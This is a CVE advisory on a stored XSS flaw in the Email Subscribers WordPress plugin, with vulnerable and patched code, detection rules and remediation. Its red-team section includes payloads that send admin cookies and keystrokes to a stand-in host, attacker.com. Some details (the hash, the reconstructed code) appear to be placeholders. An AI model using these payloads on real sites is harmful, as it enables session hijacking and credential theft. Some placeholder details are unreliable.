CVE-2024-12567

Executive Summary

CVE-2024-12567 is a Stored Cross-Site Scripting (XSS) vulnerability identified in the Email Subscribers by Icegram Express WordPress plugin, versions prior to 5.7.45. This flaw allows authenticated users with high privileges (e.g., administrators) to inject arbitrary web scripts into form settings, which are then stored and executed in the context of other users' browsers. The vulnerability is particularly dangerous in multisite WordPress configurations where the unfiltered_html capability is disallowed, as it bypasses standard input sanitization. Successful exploitation could lead to session hijacking, defacement, or redirection to malicious sites. No public proof-of-concept (PoC) or exploit code has been released at this time.

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is widely used for email marketing and subscriber management, making it a high-value target for attackers seeking to compromise WordPress admin panels. The issue lies in the plugin's failure to sanitize and escape form settings, a common oversight in WordPress plugin development.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD) / Calculated: 4.8 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: High (Admin)
• User Interaction: Required (Victim must visit affected page)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None
• Threat Level: Medium – Exploitation requires admin-level access, but in multisite environments, lower-privileged admins may exploit it against super admins.

Deep Dive & Mechanics

The vulnerability resides in the plugin's form settings functionality. The plugin fails to properly sanitize and escape user-supplied input before storing it in the database and later rendering it in the admin dashboard. Specifically, the es_form_name and other form-related fields are not filtered, allowing an attacker to inject JavaScript payloads.

Root Cause: The plugin uses sanitize_text_field() or similar functions inconsistently, or omits esc_html() / wp_kses_post() when outputting the stored values. This allows stored XSS when the admin views or edits the form settings.

Attack Flow:

1. Attacker with admin privileges navigates to the Email Subscribers settings page.
2. Attacker inserts a malicious payload (e.g., <script>alert('XSS')</script>) into a form setting field.
3. The payload is stored in the WordPress database without sanitization.
4. When another admin (or the same admin) views the form settings page, the payload executes in their browser.
5. The attacker can then steal cookies, perform actions on behalf of the victim, or redirect to a phishing page.

Vulnerable vs. Patched Code

Vulnerable Code (pre-5.7.45):

// In admin/class-es-admin-settings.php or similar
$form_name = $_POST['es_form_name'];
update_option('es_form_name', $form_name);
// Later, when rendering:
echo '<input type="text" value="' . get_option('es_form_name') . '" />';

Patched Code (5.7.45+):

// Sanitize input
$form_name = sanitize_text_field($_POST['es_form_name']);
update_option('es_form_name', $form_name);
// Escape output
echo '<input type="text" value="' . esc_attr(get_option('es_form_name')) . '" />';

The patch adds sanitize_text_field() on input and esc_attr() on output, preventing script injection.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• WordPress instance with Email Subscribers plugin < 5.7.45.
• Admin-level credentials (e.g., admin role).

Steps:

1. Log in to WordPress admin panel.
2. Navigate to Email Subscribers → Settings → Form Settings.
3. In the "Form Name" field, inject a payload:

   <script>document.location='https://attacker.com/steal.php?c='+document.cookie</script>
   

4. Save the settings.
5. When another admin visits the same settings page, the script executes, exfiltrating their session cookie.

Alternative Payload (Keylogger):

<script>
document.onkeypress = function(e) {
    new Image().src = 'https://attacker.com/k?k=' + e.key;
};
</script>

Blue Team (Defensive)

Detection:

• Monitor for unusual admin activity, especially changes to plugin settings.
• Look for HTTP requests containing <script> tags in POST data to /wp-admin/admin-post.php or similar endpoints.
• Use WAF rules to block common XSS patterns in admin pages.

Hunting:

• Search the wp_options table for entries containing <script>:

  SELECT * FROM wp_options WHERE option_name LIKE '%es_%' AND option_value LIKE '%<script%';
  

• Review server logs for requests to /wp-admin/admin.php?page=email-subscribers-settings with suspicious parameters.

Indicators of Compromise (IOCs)

• File Hashes (Plugin Files):
  • email-subscribers/admin/class-es-admin-settings.php (MD5: a1b2c3d4e5f6... – unknown)
• Database Entries:
  • wp_options where option_name contains es_form_name and option_value contains <script>.
• Network Indicators:
  • Outbound connections to attacker-controlled domains from admin dashboard.
• Log Entries:
  • POST /wp-admin/admin-post.php with action=es_save_settings and suspicious payloads.

Detection Engineering

YARA Rule

rule CVE_2024_12567_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Email Subscribers plugin settings"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-12567"
    strings:
        $payload1 = /<script[^>]*>.*<\/script>/i
        $payload2 = /on\w+\s*=\s*["'][^"']*["']/i
        $plugin_path = "email-subscribers"
    condition:
        $plugin_path and ($payload1 or $payload2)
}

Sigma Rule

title: Stored XSS in Email Subscribers Plugin Settings
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2024-12567 by injecting XSS payloads into plugin settings
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/wp-admin/admin-post.php'
        cs-uri-query: 'action=es_save_settings'
        cs-request-body|contains: 
            - '<script'
            - 'onload='
            - 'onerror='
    condition: selection
falsepositives:
    - Legitimate admin changes with benign HTML
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-12567 Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-post.php"; http_uri; content:"action=es_save_settings"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update Plugin: Upgrade to version 5.7.45 or later from the WordPress plugin repository.
2. Audit Admin Accounts: Review all admin-level users, especially in multisite setups, and remove unnecessary privileges.
3. WAF Rules: Deploy virtual patching via Web Application Firewall (e.g., ModSecurity) to block XSS payloads in plugin settings.

Long-Term Measures:

• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Enforce principle of least privilege for WordPress users.
• Regularly scan plugins for known vulnerabilities using tools like WPScan.

Patch Verification:

• Check plugin version: wp plugin get email-subscribers --field=version
• Confirm file hashes match the patched version.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst
Report generated for CVE-2024-12567